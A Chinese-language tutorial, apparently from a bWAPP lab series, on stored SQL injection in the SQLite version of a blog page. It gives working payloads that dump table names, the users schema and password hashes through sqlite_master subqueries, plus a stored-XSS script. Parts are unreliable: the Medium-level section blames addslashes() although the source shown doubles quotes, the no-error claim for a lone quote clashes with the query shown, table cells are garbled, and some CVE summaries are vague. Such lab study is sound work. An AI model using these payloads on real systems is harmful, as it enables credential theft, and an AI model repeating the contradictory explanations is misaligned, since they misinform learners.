摘要: 这是 bWAPP 系列第二十三篇,聚焦于 SQL Injection - Stored (SQLite) 。上一篇我们讲了 MySQL 版的存储型注入,这一篇换成了 SQLite 数据库。文章会重点对比两关的差异------系统表不同、注释符不同、字符串拼接不同,以及最关键的一点:这一关输入单引号不会报错 ,所以判断注入点的方法也完全不同。你会看到如何用 ' || 'test 判断注入点,如何用真假测试确认注入存在,然后一步步窃取用户表数据,附真实案例。
一、前言
如果你刚看完上一篇,再看这一关,界面几乎一模一样------都是博客留言板,添加条目、显示所有条目。
但后端从 MySQL 换成了 SQLite,带来了几个关键差异:
| 对比项 | MySQL 版 | SQLite 版 |
|---|---|---|
| 查所有表 | information_schema.tables |
sqlite_master |
| 查表结构 | information_schema.columns |
sqlite_master 的 sql 字段(建表语句里找) |
| 注释符 | #、-- |
--(后面有空格),不支持 # |
| 字符串拼接 | CONCAT() |
**` |
| 多条语句 | 支持 | 不支持 |
输入单引号 ' |
报错 | 不报错(会正常插入) |
| 自增 ID | AUTO_INCREMENT |
手动 SELECT max(id)+1 |
| 写入过滤(Medium/High) | addslashes() |
把 ' 替换成 '' |
最大的坑:SQLite 中输入单引号 ' 不会报错。
在 MySQL 中,输入 ' 会导致语法错误,可以作为判断注入点的依据。但在 SQLite 中,单独的 ' 会被当作空字符串处理,SQL 语句正常执行,不会报错。
所以这一关判断注入点的方法必须改变------不能靠输入单引号看报错,要用字符串拼接测试。
最终目标不变 :通过留言板注入,把 users 表里的所有数据全部偷出来。
二、界面说明
这一关的界面和 MySQL 版几乎一样:
-
一个文本域用于输入博客条目
-
"Add Entry" 按钮------添加条目
-
"Delete Entries" 按钮------一键清空所有条目(方便测试)
-
下方表格显示所有已添加的条目,包含四列:#(ID)、Owner、Date、Entry
注意:Entry 列会显示你输入的内容,这是我们注入数据的"出口"。

三、源码完整解读
3.1 整体流程
这一关有两个主要操作:
-
Add Entry:添加博客条目到 SQLite 数据库
-
Delete Entries:一键删除所有条目(方便测试,不影响注入逻辑)
3.2 写入逻辑(INSERT)
if(isset($_POST["entry_add"]))
{
$entry = sqli($_POST["entry"]);
$owner = $_SESSION["login"];
// 第一步:查询当前最大的 id
$sql = "SELECT max(id) as id FROM blog;";
$recordset = $db->query($sql);
$row = $recordset->fetch();
$id = $row["id"];
// 第二步:用 max(id)+1 作为新记录的 id
$sql = "INSERT INTO blog (id, date, entry, owner) VALUES (" . ++$id . ",'" . date('Y-m-d', time()) . "','" . $entry . "','" . $owner . "');";
$db->exec($sql);
}
关键点:
-
$entry = sqli($_POST["entry"]):用户输入经过sqli()函数处理 -
$id是手动算出来的(max(id)+1),不是 SQLite 自动生成的。这一点和 MySQL 版的AUTO_INCREMENT不同 -
$entry被直接拼接到 INSERT 语句中,这就是注入点 -
date使用的是date('Y-m-d', time()),只存日期不存时间(MySQL 版用的是now(),存日期+时间)
3.3 删除逻辑
elseif(isset($_POST["entry_delete"]))
{
$db = new PDO("sqlite:".$db_sqlite);
$sql = "DELETE FROM blog;";
$db->exec($sql);
$message = "<font color=\"green\">Your entries were deleted!</font>";
}
一键清空所有留言。对注入本身没有影响,但可以方便地清空测试数据------测试时搞乱了,点一下重新开始。
3.4 读取逻辑(SELECT)
$sql = "SELECT * FROM blog";
$recordset = $db->query($sql);
foreach($recordset as $row)
{
if($_COOKIE["security_level"] == "2")
{
// High 级别:用 xss_check_3() = htmlspecialchars()
echo xss_check_3($row["entry"]);
}
else if($_COOKIE["security_level"] == "1")
{
// Medium 级别:用 xss_check_4() = addslashes()
echo xss_check_4($row["entry"]);
}
else
{
// Low 级别:直接输出,什么都不做
echo $row["entry"];
}
}
表格有四列:#(id)、Owner、Date、Entry。其中 Entry 列会显示用户输入的 entry 字段内容,而且不同级别对 entry 的处理方式不同。
3.5 各过滤函数详解
写入过滤:sqli() 函数
function sqli($data)
{
switch($_COOKIE["security_level"])
{
case "0" : // Low
$data = no_check($data);
break;
case "1" : // Medium
$data = sqli_check_4($data);
break;
case "2" : // High
$data = sqli_check_4($data);
break;
}
return $data;
}
no_check()------Low 级别写入:
function no_check($data)
{
return $data;
}
直接返回原始输入,完全不过滤。这就是 Low 级别存在 SQL 注入的根本原因。
sqli_check_4()------Medium 和 High 级别写入:
function sqli_check_4($data)
{
// 把单引号替换成两个单引号(SQLite 的转义方式)
$input = str_replace("'", "''", $data);
return $input;
}
SQLite 的字符串转义方式是把单引号写成两个单引号 (' → ''),这和 MySQL 的 addslashes() 或 mysqli_real_escape_string() 完全不同。
sqli_check_4() 只转义单引号,不处理其他特殊字符。在字符串型注入中,这确实能防住 SQL 注入------因为攻击者无法闭合单引号了。
读取过滤:xss_check_3() 和 xss_check_4()
// High 级别读取时使用
function xss_check_3($data, $encoding = "UTF-8")
{
return htmlspecialchars($data, ENT_QUOTES, $encoding);
}
// Medium 级别读取时使用
function xss_check_4($data)
{
return addslashes($data);
}
xss_check_3()(htmlspecialchars())把 <、>、"、'、& 转成 HTML 实体。浏览器收到 <script> 这种内容时,不会将其作为代码解析,能有效防御 XSS。
xss_check_4()(addslashes())只转义引号、反斜杠和 NULL 字节,不转义 < 和 > ,所以防不住 XSS。
特别注意 :Medium 和 High 级别的写入过滤是一样的 ,都是 sqli_check_4()。区别只在读取时。这就导致 Medium 级别虽然防住了 SQL 注入,但存储型 XSS 依然存在。
四、SQLite 和 MySQL 在注入时的关键差异
在动手之前,需要先搞清楚 SQLite 和 MySQL 在注入时的几个核心区别:
| 对比项 | MySQL | SQLite |
|---|---|---|
| 查所有表 | information_schema.tables |
sqlite_master |
| 查表结构 | information_schema.columns |
sqlite_master 的 sql 字段(建表语句里找) |
| 注释符 | #、--(后面有空格) |
--(后面有空格),不支持 # |
| 字符串拼接 | CONCAT()、GROUP_CONCAT() |
**` |
| 多条语句 | 支持(需配置) | 不支持 |
输入单引号 ' |
报错(语法错误) | 不报错(当作空字符串) |
| 布尔值表示 | TRUE/FALSE |
1/0 |
最重要的三点:
-
SQLite 不支持
#注释 ,只能用--(后面加空格)或/**/ -
输入单引号
'不报错,所以不能用"输入单引号看报错"来判断注入点 -
SQLite 中布尔真值用 1 表示,假值用 0 表示------这在我们后面做真假测试时会用到
五、判断注入点
5.1 为什么输入单引号不报错?
在 MySQL 中,输入 ' 会导致 SQL 语法错误:
INSERT INTO blog (...) VALUES (..., '', ...) -- 多了一个引号,语法错误
但在 SQLite 中,' 被当作空字符串处理,SQL 语句正常执行。所以这一关输入单引号后,页面显示 The entry was added to our blog!,完全没有报错。
这导致很多初学者误以为"没有注入",其实这只是 SQLite 的特性。
5.2 用字符串拼接测试判断注入点
因为输入单引号不报错,我们需要换一种方法判断注入点------用 字符串拼接测试。
在文本框中输入:
' || 'test
如果注入存在,原 SQL 变成:
INSERT INTO blog (id, date, entry, owner) VALUES (新id, '日期', '' || 'test', 'bee')
SQLite 的 || 是字符串拼接操作符。'' || 'test' 的结果是 'test',所以 entry 字段会被插入 test 字符串。
提交后,页面 Entry 列会显示 test。

如果页面显示 test,说明:
-
SQL 注入确实存在
-
entry字段可以正常显示拼接的内容 -
我们可以用
||拼接子查询来窃取数据
5.3 真假测试------确认注入类型
刚才的测试已经证明了注入存在,但我们还可以用真假测试来进一步确认,同时验证 SQLite 的布尔值行为。
真条件测试 :输入 ' or '1'='1
原 SQL 变成:
INSERT INTO blog (id, date, entry, owner) VALUES (新id, '日期', '' or '1'='1', 'bee')
'1'='1' 是真,SQLite 用 1 表示真值。所以 entry 字段被插入的是 1。
提交后,页面 Entry 列显示 1。

假条件测试 :输入 ' or '1'='2
原 SQL 变成:
INSERT INTO blog (id, date, entry, owner) VALUES (新id, '日期', '' or '1'='2', 'bee')
'1'='2' 是假,SQLite 用 0 表示假值。所以 entry 字段被插入的是 0。
提交后,页面 Entry 列显示 0。

背后的逻辑:
| 输入 | SQL 表达式 | 结果 | Entry 显示 |
|---|---|---|---|
' or '1'='1 |
'' or '1'='1' |
真(True) | 1 |
' or '1'='2 |
'' or '1'='2' |
假(False) | 0 |
这不仅是判断注入点的方法,也验证了 SQLite 的布尔值表示方式------真 = 1,假 = 0。
六、Low 安全级别
6.1 第一步:获取所有表名
SQLite 用 sqlite_master 系统表存储所有表的信息,而不是 MySQL 的 information_schema.tables。
在文本框中输入:
' || (SELECT group_concat(name) FROM sqlite_master WHERE type='table') || '
完整的 SQL 变成:
INSERT INTO blog (id, date, entry, owner) VALUES (新id, '日期', '' || (SELECT group_concat(name) FROM sqlite_master WHERE type='table') || '', 'bee')
提交后,Entry 列会显示所有表名:blog, users, movies, heroes, ...

6.2 第二步:获取 users 表的字段名
SQLite 没有 information_schema.columns。要查表结构,需要用 sqlite_master 的 sql 字段------里面存储了建表的完整 SQL 语句。
输入:
' || (SELECT sql FROM sqlite_master WHERE type='table' AND name='users') || '
提交后,Entry 列会显示 users 表的建表语句:从这个语句里可以读出字段名:id、login、password、secret。

6.3 第三步:获取用户数据
字段名拿到了,现在把 login 和 password 查出来。
输入:
' || (SELECT group_concat(login || ':' || password) FROM users) || '
SQLite 用 || 拼接字符串,不能用 MySQL 的 CONCAT()。
提交后,Entry 列会显示所有用户的用户名和密码哈希,用 , 隔开。
如果数据太长被截断,可以用 substr() 分段读取:
' || (SELECT group_concat(substr(login||':'||password, 1, 50)) FROM users) || '

6.4 Low 级别的 XSS
因为 Low 级别读取时直接 echo,没有过滤,可以注入 XSS:
<script>alert(123)</script>
提交后,每次有人打开页面都会弹窗。

七、Medium 安全级别
7.1 尝试 SQL 注入
输入子查询 payload:
' || (SELECT group_concat(name) FROM sqlite_master WHERE type='table') || '
提交后,页面显示 The entry was added to our blog!,但 Entry 列没有显示表名,只显示了你输入的内容本身。

为什么?
addslashes() 把 ' 进行了转义。我们的 payload 变成了:
\' || (SELECT group_concat(name) FROM sqlite_master WHERE type=\'table\') || \'
单引号被转义,无法闭合 SQL 语句中的字符串边界,注入失效。
Medium 级别的 SQL 注入被防住了。
7.2 但 XSS 防不住
输入:
<script>alert(123)</script>
提交后,页面依然弹窗。因为 <script> 标签被浏览器正常解析执行了。
Medium 级别只防了一半------SQL 注入防住了,但存储型 XSS 依然存在。
八、High 安全级别
High 级别读取时用的是 xss_check_3(),也就是 htmlspecialchars()。
输入什么,页面就显示什么。

九、真实世界:SQLite 存储型注入案例
SQLite 虽然多用于嵌入式环境,但 SQLite 注入漏洞依然真实存在:
CVE-2024-22638:FrogCMS 1.5 版本存在 SQLite 存储型注入漏洞,攻击者可通过留言板功能注入恶意 SQL,获取管理员密码哈希。
CVE-2024-22637 :FrogCMS 1.5 版本的 /admin/?page=component 存在 SQLite 注入,攻击者可通过 delete 参数执行任意 SQL 命令。
CVE-2023-6480:某开源 Web 框架的 SQLite 适配器存在注入漏洞,允许攻击者通过特殊构造的输入执行任意 SQL 语句,影响多个基于该框架开发的应用。
CVE-2024-27809:Apple macOS 的 FileProvider 组件存在 SQLite 注入漏洞,攻击者可通过恶意文件触发,导致敏感数据泄露。
启示:不要以为 SQLite 是"轻量级数据库"就放松警惕。只要存在用户输入拼接,不管什么数据库,SQL 注入都可能发生。存储型注入尤其危险------一次注入,所有访问者遭殃。
十、总结
SQLite 存储型注入和 MySQL 版主要有四个区别:查表用 sqlite_master 而不是 information_schema.tables;查字段用 sqlite_master 的 sql 字段而不是 information_schema.columns;字符串拼接用 || 而不是 CONCAT();以及最重要的------输入单引号不报错 ,所以不能用"输入单引号看报错"来判断注入点,而要用 ' || 'test 这种拼接测试。判断注入点后,用 ' or '1'='1 和 ' or '1'='2 做真假测试,观察 Entry 列显示 1 还是 0,可以进一步确认注入存在并验证 SQLite 的布尔值行为。注入流程是标准化的:爆表名、爆字段、爆数据。Low 级别写入和读取都没有过滤,SQL 注入和 XSS 通杀;Medium 级别写入用 sqli_check_4()(把 ' 替换成 '')防住了 SQL 注入,但读取用 addslashes() 防不住 XSS;High 级别写入同样防 SQL 注入,读取用 htmlspecialchars() 彻底防住 XSS。记住:不管什么数据库,用户输入→存入数据库→展示给他人这个链条中,写入和读取都要做防护,少一环都不行。
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。